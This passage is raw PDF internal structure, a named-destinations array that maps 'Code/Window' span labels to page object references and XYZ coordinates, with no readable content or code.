0 ] (Code/Window/:__span-0-246) [ 1711 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-247) [ 1711 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-248) [ 1711 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-249) [ 1711 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-25) [ 1701 0 R /XYZ 60.307257 386.026974 0 ] (Code/Window/:__span-0-250) [ 1711 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-251) [ 1711 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-252) [ 1711 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-253) [ 1711 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-254) [ 1711 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-255) [ 1711 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-256) [ 1711 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-257) [ 1711 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-258) [ 1711 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-259) [ 1711 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-26) [ 1701 0 R /XYZ 60.307257 372.626622 0 ] (Code/Window/:__span-0-260) [ 1711 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-261) [ 1711 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-262) [ 1711 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-263) [ 1711 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-264) [ 1711 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-265) [ 1711 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-266) [ 1711 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-267) [ 1711 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-268) [ 1711 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-269) [ 1711 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-27) [ 1701 0 R /XYZ 60.307257 359.226270 0 ] (Code/Window/:__span-0-270) [ 1711 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-271) [ 1711 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-272) [ 1711 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-273) [ 1711 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-274) [ 1711 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-275) [ 1711 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-276) [ 1711 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-277) [ 1711 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-278) [ 1711 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-279) [ 1711 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-28) [ 1701 0 R /XYZ 60.307257 345.825918 0 ] (Code/Window/:__span-0-280) [ 1711 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-281) [ 1711 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-282) [ 1711 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-283) [ 1711 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-284) [ 1711 0 R /XYZ 60.307257 87.605670 0 ] (Code/Window/:__span-0-285) [ 1713 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-286) [ 1713 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-287) [ 1713 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-288) [ 1713 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-289) [ 1713 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-29) [ 1701 0 R /XYZ 60.307257 332.425566 0 ] (Code/Window/:__span-0-290) [ 1713 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-291) [ 1713 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-292) [ 1713 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-293) [ 1713 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-294) [ 1713 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-295) [ 1713 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-296) [ 1713 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-297) [ 1713 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-298) [ 1713 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-299) [ 1713 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-3) [ 1701 0 R /XYZ 60.307257 680.834718 0 ] (Code/Window/:__span-0-30) [ 1701 0 R /XYZ 60.307257 319.025214 0 ] (Code/Window/:__span-0-300) [ 1713 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-301) [ 1713 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-302) [ 1713 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-303) [ 1713 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-304) [ 1713 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-305) [ 1713 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-306) [ 1713 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-307) [ 1713 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-308) [ 1713 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-309) [ 1713 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-31) [ 1701 0 R /XYZ 60.307257 305.624862 0 ] (Code/Window/:__span-0-310) [ 1713 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-311) [ 1713 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-312) [ 1713 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-313) [ 1713 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-314) [ 1713 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-315) [ 1713 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-316) [ 1713 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-317) [ 1713 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-318) [ 1713 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-319) [ 1713 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-32) [ 1701 0 R /XYZ 60.307257 292.224510 0 ] (Code/Window/:__span-0-320) [ 1713 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-321) [ 1713 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-322) [ 1713 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-323) [ 1713 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-324) [ 1713 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-325) [ 1713 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-326) [ 1713 0 R /XYZ 60.307257 87.605670 0 ] (Code/Window/:__span-0-327) [ 1715 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-328) [ 1715 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-329) [ 1715 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-33) [ 1701 0 R /XYZ 60.307257 278.824158 0 ] (Code/Window/:__span-0-330) [ 1715 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-331) [ 1715 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-332) [ 1715 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-333) [ 1715 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-334) [ 1715 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-335) [ 1715 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-336) [ 1715 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-337) [ 1715 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-338) [ 1715 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-339) [ 1715 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-34) [ 1701 0 R /XYZ 60.307257 265.423806 0 ] (Code/Window/:__span-0-340) [ 1715 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-341) [ 1715 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-342) [ 1715 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-343) [ 1715 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-344) [ 1715 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-345) [ 1715 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-346) [ 1715 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-347) [ 1715 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-348) [ 1715 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-349) [ 1715 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-35) [ 1701 0 R /XYZ 60.307257 252.023454 0 ] (Code/Window/:__span-0-350) [ 1715 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-351) [ 1715 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-352) [ 1715 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-353) [ 1715 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-354) [ 1715 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-355) [ 1715 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-356) [ 1715 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-357) [ 1715 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-358) [ 1715 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-359) [ 1715 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-36) [ 1701 0 R /XYZ 60.307257 238.623102 0 ] (Code/Window/:__span-0-360) [ 1715 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-361) [ 1715 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-362) [ 1715 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-363) [ 1715 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-364) [ 1715 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-365) [ 1715 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-366) [ 1715 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-367) [ 1715 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-368) [ 1715 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-369) [ 1717 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-37) [ 1701 0 R /XYZ 60.307257 225.222750 0 ] (Code/Window/:__span-0-370) [ 1717 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-371) [ 1717 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-372) [ 1717 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-373) [ 1717 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-374) [ 1717 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-375) [ 1717 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-376) [ 1717 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-377) [ 1717 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-378) [ 1717 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-379) [ 1717 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-38) [ 1701 0 R /XYZ 60.307257 211.822398 0 ] (Code/Window/:__span-0-380) [ 1717 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-381) [ 1717 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-382) [ 1717 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-383) [ 1717 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-384) [ 1717 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-385) [ 1717 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-386) [ 1717 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-387) [ 1717 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-388) [ 1717 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-389) [ 1717 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-39) [ 1701 0 R /XYZ 60.307257 198.422046 0 ] (Code/Window/:__span-0-390) [ 1717 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-391) [ 1717 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-392) [ 1717 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-393) [ 1717 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-394) [ 1717 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-395) [ 1717 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-396) [ 1717 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-397) [ 1717 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-398) [ 1717 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-399) [ 1717 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-4) [ 1701 0 R /XYZ 60.307257 667.434366 0 ] (Code/Window/:__span-0-40) [ 1701 0 R /XYZ 60.307257 171.621342 0 ] (Code/Window/:__span-0-400) [ 1717 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-401) [ 1717 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-402) [ 1717 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-403) [ 1717 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-404) [ 1717 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-405) [ 1717 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-406) [ 1717 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-407) [ 1719 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-408) [ 1719 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-409) [ 1719 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-41) [ 1701 0 R /XYZ 60.307257 158.220990 0 ] (Code/Window/:__span-0-410) [ 1719 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-411) [ 1719 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-412) [ 1719 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-413) [ 1719 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-414) [ 1719 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-415) [ 1719 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-416) [ 1719 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-417) [ 1719 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-418) [ 1719 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-419) [ 1719 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-42) [ 1701 0 R /XYZ 60.307257 144.820638 0 ] (Code/Window/:__span-0-420) [ 1719 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-421) [ 1719 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-422) [ 1719 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-423) [ 1719 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-424) [ 1719 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-425) [ 1719 0 R /XYZ 60.307257 516.416934 0 ] (Code/Window/:__span-0-426) [ 1719 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-427) [ 1719 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-428) [ 1719 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-429) [ 1719 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-43) [ 1701 0 R /XYZ 60.307257 131.420286 0 ] (Code/Window/:__span-0-430) [ 1719 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-431) [ 1719 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-432) [ 1719 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-433) [ 1719 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-434) [ 1719 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-435) [ 1719 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-436) [ 1719 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-437) [ 1719 0 R /XYZ 60.307257 355.612710 0 ] (Code/Window/:__span-0-438) [ 1719 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-439) [ 1719 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-44) [ 1701 0 R /XYZ 60.307257 118.019934 0 ] (Code/Window/:__span-0-440) [ 1719 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-441) [ 1719 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-442) [ 1719 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-443) [ 1719 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-444) [ 1719 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-445) [ 1719 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-446) [ 1719 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-447) [ 1719 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-448) [ 1719 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-449) [ 1719 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-45) [ 1701 0 R /XYZ 60.307257 104.619582 0 ] (Code/Window/:__span-0-450) [ 1719 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-451) [ 1719 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-452) [ 1719 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-453) [ 1719 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-454) [ 1719 0 R /XYZ 60.307257 87.605670 0 ] (Code/Window/:__span-0-455) [ 1721 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-456) [ 1721 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-457) [ 1721 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-458) [ 1721 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-459) [ 1721 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-46) [ 1701 0 R /XYZ 60.307257 91.219230 0 ] (Code/Window/:__span-0-460) [ 1721 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-461) [ 1721 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-462) [ 1721 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-463) [ 1721 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-464) [ 1721 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-465) [ 1721 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-466) [ 1721 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-467) [ 1721 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-468) [ 1721 0 R /XYZ 60.307257 543.217638 0 ] (Code/Window/:__span-0-469) [ 1721 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-47) [ 1703 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-470) [ 1721 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-471) [ 1721 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-472) [ 1721 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-473) [ 1721 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-474) [ 1721 0 R /XYZ 60.307257 449.415174 0 ] (Code/Window/:__span-0-475) [ 1721 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-476) [ 1721 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-477) [ 1721 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-478) [ 1721 0 R /XYZ 60.307257 395.813766 0 ] (Code/Window/:__span-0-479) [ 1721 0 R /XYZ 60.307257 382.413414 0 ] (Code/Window/:__span-0-48) [ 1703 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-480) [ 1721 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-481) [ 1721 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-482) [ 1721 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-483) [ 1721 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-484) [ 1721 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-485) [ 1721 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-486) [ 1721 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-487) [ 1721 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-488) [ 1721 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-489) [ 1721 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-49) [ 1703 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-490) [ 1721 0 R /XYZ 60.307257 208.208838 0 ] (Code/Window/:__span-0-491) [ 1721 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-492) [ 1721 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-493) [ 1721 0 R /XYZ 60.307257 168.007782 0 ] (Code/Window/:__span-0-494) [ 1721 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-495) [ 1721 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-496) [ 1721 0 R /XYZ 60.307257 127.806726 0 ] (Code/Window/:__span-0-497) [ 1721 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-498) [ 1721 0 R /XYZ 60.307257 101.006022 0 ] (Code/Window/:__span-0-499) [ 1723 0 R /XYZ 60.307257 771.023622 0 ] (Code/Window/:__span-0-5) [ 1701 0 R /XYZ 60.307257 654.034014 0 ] (Code/Window/:__span-0-50) [ 1703 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-500) [ 1723 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-501) [ 1723 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-502) [ 1723 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-503) [ 1723 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-504) [ 1723 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-505) [ 1723 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-506) [ 1723 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-507) [ 1723 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-508) [ 1723 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-509) [ 1723 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-51) [ 1703 0 R /XYZ 60.307257 704.021862 0 ] (Code/Window/:__span-0-510) [ 1723 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-511) [ 1723 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-512) [ 1723 0 R /XYZ 60.307257 570.018342 0 ] (Code/Window/:__span-0-513) [ 1723 0 R /XYZ 60.307257 556.617990 0 ] (Code/Window/:__span-0-514) [ 1723 0 R /XYZ 60.307257 529.817286 0 ] (Code/Window/:__span-0-515) [ 1723 0 R /XYZ 60.307257 503.016582 0 ] (Code/Window/:__span-0-516) [ 1723 0 R /XYZ 60.307257 489.616230 0 ] (Code/Window/:__span-0-517) [ 1723 0 R /XYZ 60.307257 476.215878 0 ] (Code/Window/:__span-0-518) [ 1723 0 R /XYZ 60.307257 462.815526 0 ] (Code/Window/:__span-0-519) [ 1723 0 R /XYZ 60.307257 436.014822 0 ] (Code/Window/:__span-0-52) [ 1703 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-520) [ 1723 0 R /XYZ 60.307257 422.614470 0 ] (Code/Window/:__span-0-521) [ 1723 0 R /XYZ 60.307257 409.214118 0 ] (Code/Window/:__span-0-522) [ 1723 0 R /XYZ 60.307257 369.013062 0 ] (Code/Window/:__span-0-523) [ 1723 0 R /XYZ 60.307257 342.212358 0 ] (Code/Window/:__span-0-524) [ 1723 0 R /XYZ 60.307257 328.812006 0 ] (Code/Window/:__span-0-525) [ 1723 0 R /XYZ 60.307257 315.411654 0 ] (Code/Window/:__span-0-526) [ 1723 0 R /XYZ 60.307257 302.011302 0 ] (Code/Window/:__span-0-527) [ 1723 0 R /XYZ 60.307257 288.610950 0 ] (Code/Window/:__span-0-528) [ 1723 0 R /XYZ 60.307257 275.210598 0 ] (Code/Window/:__span-0-529) [ 1723 0 R /XYZ 60.307257 261.810246 0 ] (Code/Window/:__span-0-53) [ 1703 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-530) [ 1723 0 R /XYZ 60.307257 248.409894 0 ] (Code/Window/:__span-0-531) [ 1723 0 R /XYZ 60.307257 235.009542 0 ] (Code/Window/:__span-0-532) [ 1723 0 R /XYZ 60.307257 221.609190 0 ] (Code/Window/:__span-0-533) [ 1723 0 R /XYZ 60.307257 194.808486 0 ] (Code/Window/:__span-0-534) [ 1723 0 R /XYZ 60.307257 181.408134 0 ] (Code/Window/:__span-0-535) [ 1723 0 R /XYZ 60.307257 154.607430 0 ] (Code/Window/:__span-0-536) [ 1723 0 R /XYZ 60.307257 141.207078 0 ] (Code/Window/:__span-0-537) [ 1723 0 R /XYZ 60.307257 114.406374 0 ] (Code/Window/:__span-0-538) [ 1723 0 R /XYZ 60.307257 87.605670 0 ] (Code/Window/:__span-0-539) [ 1725 0 R /XYZ 60.307257 757.623270 0 ] (Code/Window/:__span-0-54) [ 1703 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-540) [ 1725 0 R /XYZ 60.307257 744.222918 0 ] (Code/Window/:__span-0-541) [ 1725 0 R /XYZ 60.307257 730.822566 0 ] (Code/Window/:__span-0-542) [ 1725 0 R /XYZ 60.307257 717.422214 0 ] (Code/Window/:__span-0-543) [ 1725 0 R /XYZ 60.307257 690.621510 0 ] (Code/Window/:__span-0-544) [ 1725 0 R /XYZ 60.307257 677.221158 0 ] (Code/Window/:__span-0-545) [ 1725 0 R /XYZ 60.307257 663.820806 0 ] (Code/Window/:__span-0-546) [ 1725 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-547) [ 1725 0 R /XYZ 60.307257 637.020102 0 ] (Code/Window/:__span-0-548) [ 1725 0 R /XYZ 60.307257 623.619750 0 ] (Code/Window/:__span-0-549) [ 1725 0 R /XYZ 60.307257 610.219398 0 ] (Code/Window/:__span-0-55) [ 1703 0 R /XYZ 60.307257 650.420454 0 ] (Code/Window/:__span-0-550) [ 1725 0 R /XYZ 60.307257 596.819046 0 ] (Code/Window/:__span-0-551) [ 1725 0 R /XYZ 60.307257 583.418694 0 ] (Code/Window/:__span-0-552) [ 1725 0 R /XYZ 60.307257 